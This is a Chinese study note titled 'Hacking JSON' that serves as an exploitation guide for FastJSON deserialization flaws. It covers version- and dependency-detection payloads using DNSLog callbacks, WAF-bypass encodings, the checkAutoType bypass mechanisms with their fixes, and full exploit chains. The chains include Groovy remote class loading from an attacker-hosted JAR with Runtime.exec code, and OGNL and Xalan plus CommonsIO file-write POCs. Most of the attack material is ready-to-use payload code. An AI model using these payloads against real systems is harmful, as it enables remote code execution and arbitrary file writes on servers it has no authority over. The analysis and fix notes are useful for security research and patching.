Hacking JSON 学习记录
字数 2452 2025-08-12 11:34:41

FastJSON反序列化漏洞深度分析与利用指南

1. FastJSON漏洞概述

FastJSON是阿里巴巴开源的高性能JSON处理库,在多个版本中存在反序列化漏洞,攻击者可通过精心构造的JSON数据实现远程代码执行(RCE)。

2. 版本探测技术

2.1 版本探测Payload

<=1.2.47版本探测

[
    {
        "@type": "java.lang.Class",
        "val": "java.io.ByteArrayOutputStream"
    },
    {
        "@type": "java.net.InetSocketAddress",
        "address": "",
        "val": "dnslog"
    }
]

<=1.2.68版本探测

[
    {
        "@type": "java.lang.AutoCloseable",
        "@type": "java.io.ByteArrayOutputStream"
    },
    {
        "@type": "java.net.InetSocketAddress",
        "address": "",
        "val": "dnslog"
    }
]

<=1.2.80版本探测

[
    {
        "@type": "java.lang.Exception",
        "@type": "com.alibaba.fastjson.JSONException",
        "x": {
            "@type": "java.net.InetSocketAddress",
            "address": "",
            "val": "first.dnslog.cn"
        }
    },
    {
        "@type": "java.lang.Exception",
        "@type": "com.alibaba.fastjson.JSONException",
        "message": {
            "@type": "java.net.InetSocketAddress",
            "address": "",
            "val": "second.dnslog.cn"
        }
    }
]

1.2.83版本探测

会收到两个DNSLog请求,异常回显确认版本:

{"@type":"java.lang.AutoCloseable"}

3. 依赖探测技术

3.1 DNSLog回显探测依赖库

{
    "1":"java.net.http.httpclient"
}_857271A6.DNS.1433.EU.ORG

依赖不存在时访问:

{}_857271A6.DNS.1433.EU.ORG

注意:某些DNS服务器可能不接受特殊字符,可能导致DNSLog记录丢失。

4. WAF绕过技术

4.1 编码绕过

  • 使用Base64或quoted-printable(QP)编码绕过WAF
  • 在部分中间件中,multipart支持指定Content-Transformer-Encoding

4.2 大量字符绕过

[11111111111111111111111111111111111,[11111111111111111111111111111111111... ,[11111111111111111111111111111111111... ,[11111111111111111111111111111111111... ,[11111111111111111111111111111111111.x40\u0074\x79\u0070\x65':xjava.lang.AutoCloseable"

4.3 其他特性

  • 16进制编码
  • Unicode编码
  • 使用new:[NaN,x'00'x40\u0074\x79\u0070\x65':xjava.lang.AutoCloseable"

5. 漏洞原理深度分析

5.1 绕过checkAutoType()校验的方式

  1. 白名单里的类
  2. 开启了autotype
  3. 使用了JSONType注解
  4. 指定了期望类(expectClass)
  5. 缓存在mapping中的类
  6. 使用ParserConfig.AutoTypeCheckHandler接口通过校验的类

5.2 各版本漏洞原理

1.2.47版本

  • 利用java.lang.Class使用MiscCodec反序列化器
  • 将恶意类写入白名单缓存mapping中
  • 通过checkAutoType从白名单获取恶意类进行反序列化

修复

  1. 增加java.lang.Classjava.net.InetAddress黑名单
  2. MiscCodec.java文件对cache缓存设置成false
  3. ParserConfig.java文件调整checkAutoType()策略

1.2.68版本

  • 利用java.lang.AutoCloseable接口类
  • 该接口在<=1.2.68版本未加入黑名单
  • 通过第二个@type的类名进行黑白名单校验
  • 使用TypeUtils.loadClass加载目标类
  • 调用isAssignableFrom()判断是否实现期望类接口

修复

  1. 新增期望类黑名单:java.lang.Runnablejava.lang.Readablejava.lang.AutoCloseable
  2. 引入safeMode功能作为反序列化开关

1.2.80版本

  • 利用java.lang.Throwable期望类
  • java.lang.Exception是Throwable的子类
  • ognl.OgnlException继承于java.lang.Exception,可添加到白名单

漏洞触发流程

  1. DefaultJSONParser解析JSON数据
  2. 获取ThrowableDeserializer解析器
  3. ParserConfig#checkAutoType检查期望类
  4. 判断safeMode是否开启
  5. 检查typeName长度(3-192字符)
  6. 计算期望类hash值是否在黑名单
  7. 使用二分搜索法查询白名单
  8. 查询缓存mapping
  9. 从classloader加载类
  10. 将目标类加入缓存mapping

修复

  1. java.lang.Exception加入黑名单
  2. TypeUtils.addmapping增加autotype判断

6. 实用利用链分析

6.1 Groovy远程类加载

依赖:groovy

POC 1:将org.codehaus.groovy.control.ProcessingUnit加入白名单

{
    "@type": "java.lang.Exception",
    "@type": "org.codehaus.groovy.control.CompilationFailedException",
    "unit": {}
}

POC 2:执行恶意代码

{
    "@type": "org.codehaus.groovy.control.ProcessingUnit",
    "@type": "org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
    "config": {
        "@type": "org.codehaus.groovy.control.CompilerConfiguration",
        "classpathList": "http://127.0.0.1:9090/attack-1.jar"
    },
    "gcl": null,
    "destDir": "/tmp"
}

恶意JAR构造

  1. 创建groovy.grape.GrabAnnotationTransformation2
package groovy.grape;
import org.codehaus.groovy.ast.ASTNode;
import org.codehaus.groovy.control.CompilePhase;
import org.codehaus.groovy.control.SourceUnit;
import org.codehaus.groovy.transform.ASTTransformation;
import org.codehaus.groovy.transform.GroovyASTTransformation;
import java.io.IOException;

@GroovyASTTransformation(phase= CompilePhase.CONVERSION)
public class GrabAnnotationTransformation2 implements ASTTransformation {
    public GrabAnnotationTransformation2() {
        try {
            Runtime.getRuntime().exec("open -a Calculator.app");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    @Override
    public void visit(ASTNode[] nodes, SourceUnit source) {}
}
  1. 创建服务文件META-INF/services/org.codehaus.groovy.transform.ASTTransformation
groovy.grape.GrabAnnotationTransformation2

6.2 AspectJTools报错回显读文件

适用版本:Fastjson 1.2.73-1.2.80
依赖:aspectjtools
条件:应用需要返回异常信息

6.3 OGNL+CommonsIO写文件

低版本CommonsIO(2.0-2.6)

依赖

  • OGNL 3.2.21
  • CommonIO 2.0-2.6

高版本CommonsIO(2.7/2.8)

依赖

  • OGNL 3.2.21
  • CommonIO 2.7/2.8

二进制文件写入

依赖

  • OGNL 3.2.21
  • commons-io-2.2
  • aspectjtools-1.9.6
  • commons-codec-1.6

POC

String url = "file:///D:/Downloads/1.txt";
InputStream input = new URL(url).openStream();
byte[] bs = new byte[input.available()];
input.read(bs);
String test = Base64.getEncoder().encodeToString(bs);
byte[] testbs = test.getBytes();

String poc1 = "{\r\n" +
        " \"su14\": {\r\n" +
        " \"@type\": \"java.lang.Exception\",\r\n" +
        " \"@type\": \"ognl.OgnlException\"\r\n" +
        " },\r\n" +
        " \"su15\": {\r\n" +
        " \"@type\": \"java.lang.Class\",\r\n" +
        " \"val\": {\r\n" +
        " \"@type\": \"com.alibaba.fastjson.JSONObject\",\r\n" +
        " {\r\n" +
        " \"@type\": \"java.lang.String\"\r\n" +
        " \"@type\": \"ognl.OgnlException\",\r\n" +
        " \"evaluation\": \"\"\r\n" +
        " }\r\n" +
        " }\r\n" +
        " },\r\n" +
        " \"su16\": {\r\n" +
        " \"@type\": \"ognl.Evaluation\",\r\n" +
        " \"node\": {\r\n" +
        " \"@type\": \"ognl.ASTMethod\",\r\n" +
        " \"p\": {\r\n" +
        " \"@type\": \"ognl.OgnlParser\",\r\n" +
        " \"stream\": {\r\n" +
        " \"@type\":\"org.apache.commons.io.input.BOMInputStream\",\r\n" +
        " \"delegate\":{\r\n" +
        " \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\r\n" +
        " \"input\":{\r\n" +
        " \"@type\": \"org.apache.commons.codec.binary.Base64InputStream\",\r\n" +
        " \"in\":{\r\n" +
        " \"@type\":\"org.apache.commons.io.input.CharSequenceInputStream\",\r\n" +
        " \"charset\":\"utf-8\",\r\n" +
        " \"bufferSize\": 1024,\r\n" +
        " \"s\":{\"@type\":\"java.lang.String\"\""+test+"\"\r\n" +
        " },\r\n" +
        " \"doEncode\":false,\r\n" +
        " \"lineLength\":1024,\r\n" +
        " \"lineSeparator\":\"5ZWKCg==\",\r\n" +
        " \"decodingPolicy\":0\r\n" +
        " },\r\n" +
        " \"branch\":{\r\n" +
        " \"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\r\n" +
        " \"targetPath\":\"1.txt\"\r\n" +
        " },\r\n" +
        " \"closeBranch\":true\r\n" +
        " },\r\n" +
        " \"include\":true,\r\n" +
        " \"boms\":[{\r\n" +
        " \"@type\": \"org.apache.commons.io.ByteOrderMark\",\r\n" +
        " \"charsetName\": \"UTF-8\",\r\n" +
        " \"bytes\":"+Arrays.toString(testbs)+"\r\n" +
        " }]\r\n" +
        " }\r\n" +
        " }\r\n" +
        " },\r\n" +
        " \"su17\": {\r\n" +
        " \"$ref\": \"$.su16.node.p.stream\"\r\n" +
        " },\r\n" +
        " \"su18\": {\r\n" +
        " \"$ref\": \"$.su17.bOM.bytes\"\r\n" +
        " }\r\n" +
        "}";

6.4 Xalan+CommonsIO写文件

低版本CommonsIO(2.0-2.6)

依赖

  • fastjson 1.2.73-1.2.80
  • xalan-2.7.2
  • dom4j-2.1.3
  • commons-io-2.0-2.6

高版本CommonsIO(2.7/2.8)

依赖

  • fastjson 1.2.73-1.2.80
  • xalan-2.7.2
  • dom4j-2.1.3
  • commons-io-2.7/2.8

二进制文件写入

依赖

  • fastjson 1.2.73-1.2.80
  • dom4j-2.1.3
  • commons-io-2.2
  • aspectjtools-1.9.6
  • commons-codec-1.6

POC

String poc1 = "{\r\n" +
        "\"@type\": \"java.lang.Exception\",\r\n" +
        "\"@type\": \"org.apache.xml.dtm.DTMConfigurationException\",\"locator\":{}\r\n" +
        "}";

String poc2 = "{\r\n" +
        "\"@type\": \"java.lang.Class\",\r\n" +
        "\"val\": {\r\n" +
        "\"@type\": \"java.lang.String\" {\r\n" +
        "\"@type\": \"java.util.Locale\",\r\n" +
        "\"val\": {\r\n" +
        "\"@type\": \"com.alibaba.fastjson.JSONObject\",\r\n" +
        "{\r\n" +
        "\"@type\": \"java.lang.String\"\r\n" +
        "\"@type\": \"org.apache.xml.dtm.DTMConfigurationException\",\r\n" +
        "\"locator\": {}\r\n" +
        "}\r\n" +
        "}\r\n" +
        "}";

String poc3 = "{\r\n" +
        "\"su14\": {\r\n" +
        "\"@type\": \"javax.xml.transform.SourceLocator\",\r\n" +
        "\"@type\": \"org.apache.xpath.objects.XNodeSetForDOM\",\r\n" +
        "\"nodeIter\": {\r\n" +
        "\"@type\": \"org.apache.xpath.NodeSet\"\r\n" +
        "},\r\n" +
        "\"xctxt\": {\r\n" +
        "\"@type\": \"org.apache.xpath.XPathContext\",\r\n" +
        "\"primaryReader\": {\r\n" +
        "\"@type\": \"org.dom4j.io.XMLWriter\",\r\n" +
        "\"entityResolver\": {\r\n" +
        "\"@type\": \"org.dom4j.io.SAXContentHandler\",\r\n" +
        "\"inputSource\": {\r\n" +
        "\"byteStream\": {\r\n" +
        "\"@type\": \"java.io.InputStream\"\r\n" +
        "}\r\n" +
        "}\r\n" +
        "}\r\n" +
        "}\r\n" +
        "}\r\n" +
        "}";

String poc4 = "{\r\n" +
        "\"su16\": {\r\n" +
        "\"@type\": \"java.io.InputStream\",\r\n" +
        "\"@type\":\"org.apache.commons.io.input.BOMInputStream\",\r\n" +
        "\"delegate\":{\r\n" +
        "\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\r\n" +
        "\"input\":{\r\n" +
        "\"@type\": \"org.apache.commons.codec.binary.Base64InputStream\",\r\n" +
        "\"in\":{\r\n" +
        "\"@type\":\"org.apache.commons.io.input.CharSequenceInputStream\",\r\n" +
        "\"charset\":\"utf-8\",\r\n" +
        "\"bufferSize\": 1024,\r\n" +
        "\"s\":{\"@type\":\"java.lang.String\"\""+test+"\"\r\n" +
        "},\r\n" +
        "\"doEncode\":false,\r\n" +
        "\"lineLength\":1024,\r\n" +
        "\"lineSeparator\":\"5ZWKCg==\",\r\n" +
        "\"decodingPolicy\":0\r\n" +
        "},\r\n" +
        "\"branch\":{\r\n" +
        "\"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\r\n" +
        "\"targetPath\":\"1.txt\"\r\n" +
        "},\r\n" +
        "\"closeBranch\":true\r\n" +
        "},\r\n" +
        "\"include\":true,\r\n" +
        "\"boms\":[{\r\n" +
        "\"@type\": \"org.apache.commons.io.ByteOrderMark\",\r\n" +
        "\"charsetName\": \"UTF-8\",\r\n" +
        "\"bytes\":"+Arrays.toString(testbs)+"\r\n" +
        "},\r\n" +
        "\"su17\": {\r\n" +
        "\"$ref\": \"$.su16.bOM.bytes\"\r\n" +
        "}\r\n" +
        "}";

7. 依赖配置(Maven)

<dependency>
    <groupId>ognl</groupId>
    <artifactId>ognl</artifactId>
    <version>3.2.18</version>
</dependency>
<dependency>
    <groupId>org.aspectj</groupId>
    <artifactId>aspectjtools</artifactId>
    <version>1.8.14</version>
</dependency>
<dependency>
    <groupId>commons-io</groupId>
    <artifactId>commons-io</artifactId>
    <version>2.8.0</version>
</dependency>
<dependency>
    <groupId>xalan</groupId>
    <artifactId>xalan</artifactId>
    <version>2.7.2</version>
</dependency>
<dependency>
    <groupId>org.dom4j</groupId>
    <artifactId>dom4j</artifactId>
    <version>2.1.3</version>
</dependency>
<dependency>
    <groupId>org.codehaus.groovy</groupId>
    <artifactId>groovy</artifactId>
    <version>3.0.3</version>
</dependency>

8. 参考资源

  1. Hacking JSON - KCon2022
  2. Fastjson Payload Collection
FastJSON反序列化漏洞深度分析与利用指南 1. FastJSON漏洞概述 FastJSON是阿里巴巴开源的高性能JSON处理库,在多个版本中存在反序列化漏洞,攻击者可通过精心构造的JSON数据实现远程代码执行(RCE)。 2. 版本探测技术 2.1 版本探测Payload <=1.2.47版本探测 <=1.2.68版本探测 <=1.2.80版本探测 1.2.83版本探测 会收到两个DNSLog请求,异常回显确认版本: 3. 依赖探测技术 3.1 DNSLog回显探测依赖库 依赖不存在时访问: 注意 :某些DNS服务器可能不接受特殊字符,可能导致DNSLog记录丢失。 4. WAF绕过技术 4.1 编码绕过 使用Base64或quoted-printable(QP)编码绕过WAF 在部分中间件中,multipart支持指定Content-Transformer-Encoding 4.2 大量字符绕过 4.3 其他特性 16进制编码 Unicode编码 使用 new:[NaN,x'00'x40\u0074\x79\u0070\x65':xjava.lang.AutoCloseable" 5. 漏洞原理深度分析 5.1 绕过checkAutoType()校验的方式 白名单里的类 开启了autotype 使用了JSONType注解 指定了期望类(expectClass) 缓存在mapping中的类 使用ParserConfig.AutoTypeCheckHandler接口通过校验的类 5.2 各版本漏洞原理 1.2.47版本 利用 java.lang.Class 使用MiscCodec反序列化器 将恶意类写入白名单缓存mapping中 通过checkAutoType从白名单获取恶意类进行反序列化 修复 : 增加 java.lang.Class 、 java.net.InetAddress 黑名单 MiscCodec.java文件对cache缓存设置成false ParserConfig.java文件调整checkAutoType()策略 1.2.68版本 利用 java.lang.AutoCloseable 接口类 该接口在 <=1.2.68版本未加入黑名单 通过第二个@type的类名进行黑白名单校验 使用TypeUtils.loadClass加载目标类 调用isAssignableFrom()判断是否实现期望类接口 修复 : 新增期望类黑名单: java.lang.Runnable 、 java.lang.Readable 和 java.lang.AutoCloseable 引入safeMode功能作为反序列化开关 1.2.80版本 利用 java.lang.Throwable 期望类 java.lang.Exception 是Throwable的子类 ognl.OgnlException 继承于 java.lang.Exception ,可添加到白名单 漏洞触发流程 : DefaultJSONParser解析JSON数据 获取ThrowableDeserializer解析器 ParserConfig#checkAutoType检查期望类 判断safeMode是否开启 检查typeName长度(3-192字符) 计算期望类hash值是否在黑名单 使用二分搜索法查询白名单 查询缓存mapping 从classloader加载类 将目标类加入缓存mapping 修复 : java.lang.Exception 加入黑名单 TypeUtils.addmapping增加autotype判断 6. 实用利用链分析 6.1 Groovy远程类加载 依赖 :groovy POC 1 :将 org.codehaus.groovy.control.ProcessingUnit 加入白名单 POC 2 :执行恶意代码 恶意JAR构造 : 创建 groovy.grape.GrabAnnotationTransformation2 类 创建服务文件 META-INF/services/org.codehaus.groovy.transform.ASTTransformation 6.2 AspectJTools报错回显读文件 适用版本 :Fastjson 1.2.73-1.2.80 依赖 :aspectjtools 条件 :应用需要返回异常信息 6.3 OGNL+CommonsIO写文件 低版本CommonsIO(2.0-2.6) 依赖 : OGNL 3.2.21 CommonIO 2.0-2.6 高版本CommonsIO(2.7/2.8) 依赖 : OGNL 3.2.21 CommonIO 2.7/2.8 二进制文件写入 依赖 : OGNL 3.2.21 commons-io-2.2 aspectjtools-1.9.6 commons-codec-1.6 POC : 6.4 Xalan+CommonsIO写文件 低版本CommonsIO(2.0-2.6) 依赖 : fastjson 1.2.73-1.2.80 xalan-2.7.2 dom4j-2.1.3 commons-io-2.0-2.6 高版本CommonsIO(2.7/2.8) 依赖 : fastjson 1.2.73-1.2.80 xalan-2.7.2 dom4j-2.1.3 commons-io-2.7/2.8 二进制文件写入 依赖 : fastjson 1.2.73-1.2.80 dom4j-2.1.3 commons-io-2.2 aspectjtools-1.9.6 commons-codec-1.6 POC : 7. 依赖配置(Maven) 8. 参考资源 Hacking JSON - KCon2022 Fastjson Payload Collection